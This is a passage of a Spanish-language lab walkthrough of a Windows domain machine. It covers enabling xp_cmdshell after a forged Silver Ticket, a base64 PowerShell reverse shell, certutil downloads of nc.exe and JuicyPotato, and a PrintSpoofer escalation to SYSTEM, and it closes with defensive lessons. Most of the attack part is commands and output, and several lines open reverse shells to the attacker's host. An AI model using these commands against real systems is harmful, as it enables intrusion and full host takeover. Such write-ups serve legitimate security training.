xp_cmdshell whoami

mssqlclient autenticado por Kerberos como Administrator habilitando y ejecutando xp_cmdshell

[*] Encryption required, switching to TLS
SQL (NAGOYA-IND\Administrator  dbo@master)> sp_configure 'show advanced options', '1';
Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (NAGOYA-IND\Administrator  dbo@master)> RECONFIGURE;
SQL (NAGOYA-IND\Administrator  dbo@master)> sp_configure 'xp_cmdshell', '1';
Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (NAGOYA-IND\Administrator  dbo@master)> RECONFIGURE;
SQL (NAGOYA-IND\Administrator  dbo@master)> xp_cmdshell whoami
output
--------------------
nagoya-ind\svc_mssql

El prompt dice NAGOYA-IND\Administrator, así que el ticket forjado ha colado: el servicio nos cree. Pero xp_cmdshell whoami devuelve nagoya-ind\svc_mssql, y ese matiz es el que define el resto de la máquina. xp_cmdshell no ejecuta con la identidad del usuario de SQL sino con la de la cuenta de servicio bajo la que corre el motor. Ser Administrator dentro de SQL Server no nos hace administrador de Windows (MSSQL xp_cmdshell).

Con ejecución de comandos, nos traemos una shell interactiva. El payload de PowerShell en base64 lo generamos con revshells.com:

el generador de reverse shells con la plantilla PowerShell #3 (Base64) para 192.168.45.152:4444

IP: 192.168.45.152   Port: 4444
Listener: nc -lvnp 4444
Reverse -> Windows -> PowerShell #3 (Base64)
NgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACQAJABpAGwAAAPQAgACQAcwB0AHIAZQBhAG0ALg... <SNIP>
penelope
xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAA...<SNIP>

Penelope recibe la reverse shell desde NAGOYA como nagoya-ind\svc_mssql

# penelope
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.1.80 • 172.17.0.1 • 172.18.0.1 • 192.168.45.152
[+] Got reverse shell from NAGOYA~192.168.124.21-Microsoft_Windows_Server_2019_Standard_Evaluation-x64-based_PC 😍 Assigned SessionID <1>
[+] Added readline support ...
[+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D

PS C:\Windows\system32> whoami
nagoya-ind\svc_mssql

Penelope identifica de paso el sistema exacto (Windows Server 2019 Standard Evaluation), un dato que va a decidir la escalada.

Escalada de privilegios

SeImpersonatePrivilege

Las cuentas de servicio de SQL Server suelen conservar SeImpersonatePrivilege, y svc_mssql no es excepción:

whoami /priv

whoami /priv mostrando SeImpersonatePrivilege en estado Enabled para svc_mssql

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled

SeImpersonatePrivilege aparece Enabled. Ese privilegio permite adoptar el token de un cliente que se conecte a una named pipe que controlemos, y la familia de potatoes lo abusa forzando a un servicio privilegiado a conectarse contra nosotros (SeImpersonate y potatoes).

Intento con JuicyPotato (fallido)

El primer candidato es JuicyPotato, que reutilizamos de otra máquina:

locate jp.exe
cp /machines/arctic/exploits/jp.exe .
python3 -m http.server 80

localización de jp.exe reutilizado de otra máquina y servidor HTTP para transferirlo

# locate jp.exe
/machines/arctic/exploits/jp.exe

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
certutil.exe -f -urlcache -split http://192.168.45.152/jp.exe jp.exe

certutil descargando jp.exe en C:\Temp\privesc

PS C:\Temp\privesc> certutil.exe -f -urlcache -split http://192.168.45.152/jp.exe jp.exe
****  Online  ****
  000000  ...
  054e00
CertUtil: -URLCache command completed successfully.

También hace falta un netcat para recibir la shell:

locate nc.exe | head -n 10
cp /machines/bart/exploits/nc.exe .
python3 -m http.server 80

localización de nc.exe entre las copias de máquinas anteriores

/home/krmena/SecLists/Web-Shells/FuzzDB/nc.exe
/machines/arctic/exploits/netcat/nc.exe
/machines/bart/exploits/nc.exe
/machines/blue/exploits/nc.exe
/machines/blue/exploits/netcat/nc.exe
/machines/bounty/exploits/netcat/nc.exe
/machines/buff/content/nc.exe
/machines/devel/content/nc.exe
/machines/grandpa/exploits/nc.exe
/machines/granny/exploits/nc.exe
certutil.exe -f -urlcache -split http://192.168.45.152/nc.exe nc.exe

certutil descargando nc.exe en C:\Temp\privesc

PS C:\Temp\privesc> certutil.exe -f -urlcache -split http://192.168.45.152/nc.exe nc.exe
****  Online  ****
  0000  ...
  96d8
CertUtil: -URLCache command completed successfully.

Con el listener preparado, lanzamos JuicyPotato:

rlwrap nc -nlvp 4646
.\JP.exe -t * -l 4321 -p C:\Windows\System32\cmd.exe -a "/c C:\Temp\privesc\nc.exe -e cmd 192.168.45.152 4646"

JuicyPotato falla con COM -&gt; recv failed with error: 10038 y el listener no recibe nada

PS C:\Temp\privesc> .\JP.exe -t * -l 4321 -p C:\Windows\System32\cmd.exe -a "/c C:\Temp\privesc\nc.exe -e cmd 192.168.45.152 4646"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 4321
COM -> recv failed with error: 10038

# rlwrap nc -nlvp 4646
listening on [any] 4646 ...

Falla, y el nc se queda escuchando sin recibir nada. El error recv failed with error: 10038 (WSAENOTSOCK) significa que el intento de conexión COM se corta antes de completarse: no es un problema de sintaxis ni de permisos.

La causa es la versión que ya nos había dado el rdp-ntlm-info del escaneo: Windows Server 2019 (build 17763). A partir de Windows 10 1809 y Server 2019, Microsoft cambió el comportamiento del servicio COM del que depende JuicyPotato, y la técnica dejó de funcionar. No es un fallo del comando, es que la herramienta ya no aplica a este objetivo. Es exactamente el motivo por el que conviene anotar la versión exacta durante el reconocimiento aunque en ese momento no parezca relevante.

PrintSpoofer

La alternativa para Server 2019 es PrintSpoofer, que no usa COM sino el servicio de cola de impresión: lo engaña para que se conecte a una named pipe nuestra y, con SeImpersonatePrivilege, adoptamos su token, que es de SYSTEM.

wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe &>/dev/null
mv PrintSpoofer64.exe printspoofer.exe
python3 -m http.server 80

descarga de la release oficial de PrintSpoofer64 y servidor HTTP para transferirla

# mv PrintSpoofer64.exe printspoofer.exe

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Traemos el binario con certutil igual que los anteriores, dejamos el nc a la escucha y disparamos:

rlwrap nc -nlvp 4443
.\printspoofer.exe -c "C:\Temp\privesc\nc.exe 192.168.45.152 4443 -e cmd.exe"

PrintSpoofer con CreateProcessAsUser() OK y reverse shell entrante como SYSTEM

[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening ...
[+] CreateProcessAsUser() OK

listening on [any] 4443 ...
connect to [192.168.45.152] from (UNKNOWN) [192.168.124.21] 50303
Microsoft Windows [Version 10.0.17763.4252]
C:\Windows\system32>

Las tres líneas de PrintSpoofer cuentan la técnica entera: encuentra el privilegio, crea la named pipe y espera a que el spooler se conecte, y con el token capturado llama a CreateProcessAsUser(). El OK final es la prueba, y el nc recibe la conexión acto seguido.

Proof

whoami && ipconfig && type C:\Users\Administrator\desktop\proof.txt

proof.txt leída como SYSTEM en nagoya

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>type C:\Users\Administrator\desktop\proof.txt
7b4a1ae7d74659b5c53843683d8cf28e

Cadena de ataque

web /Team (80)  --  28 nombres reales  ->  username-anarchy (360 logins) -> kerbrute -> 28 válidos
        │  password spraying SMB con lista corporativa: Spring2023
        ▼
craig.carr:Spring2023
        │  Kerberoasting -> svc_helpdesk + svc_mssql -> john -> Service1
        │  BloodHound: EMPLOYEES --GenericAll--> joanna.wood --(HELPDESK)--> christopher.lewis
        ▼
christopher.lewis (WinRM)  --  local.txt
        │  netstat: 1433 local -> chisel R:1433 + /etc/hosts a 127.0.0.1
        │  Silver Ticket (hash NT de Service1) para SPN MSSQL como Administrator
        │  mssqlclient -k -> xp_cmdshell -> shell como svc_mssql (no Administrator)
        ▼
svc_mssql  --  SeImpersonatePrivilege
        │  JuicyPotato FALLA (Server 2019 mitigó el vector COM) -> PrintSpoofer
        ▼
nt authority\system  (proof.txt)

Lecciones aprendidas

  • Sin credenciales, la web es la lista de usuarios. Los 28 nombres del equipo, pasados por username-anarchy y kerbrute, dieron 28 cuentas válidas sin tocar SMB. La enumeración por Kerberos es sigilosa: distingue "existe" de "no existe" sin generar logons fallidos ni acercarse al bloqueo.
  • Las contraseñas estacionales caen en el primer spray. Spring2023 es el patrón «Estación+Año» de manual. Y el --continue-on-success es lo que responde a la pregunta que de verdad importa: cuántas cuentas más la reutilizan.
  • Kerberoasting premia a las cuentas de servicio con claves débiles. Service1 se rompió en nueve segundos. Las cuentas de servicio deberían usar gMSA o contraseñas largas y aleatorias.
  • Los permisos peligrosos suelen estar en los grupos, no en los usuarios. Aquí ni craig.carr ni joanna.wood tenían GenericAll a título personal: lo heredaban de EMPLOYEES y HELPDESK. Una sola ACE mal puesta sobre un grupo amplio convierte a cualquier empleado en dueño de otras cuentas.
  • Un Silver Ticket no necesita al DC, y no te convierte en administrador de la máquina. Con el hash de la cuenta de servicio se forja un TGS válido para su SPN, pero xp_cmdshell ejecuta como la cuenta bajo la que corre SQL Server, no como el usuario que dice el ticket. Rotar las contraseñas de servicio invalida esos tickets.
  • La versión exacta del sistema decide qué exploit sirve. El rdp-ntlm-info dio 10.0.17763 en el reconocimiento; ese número es la razón de que JuicyPotato fallara y PrintSpoofer funcionara. Anotar la build durante el recon ahorra el rato de depurar un exploit que nunca iba a andar.
Cheatsheet de comandos 16 comandos

Repaso rápido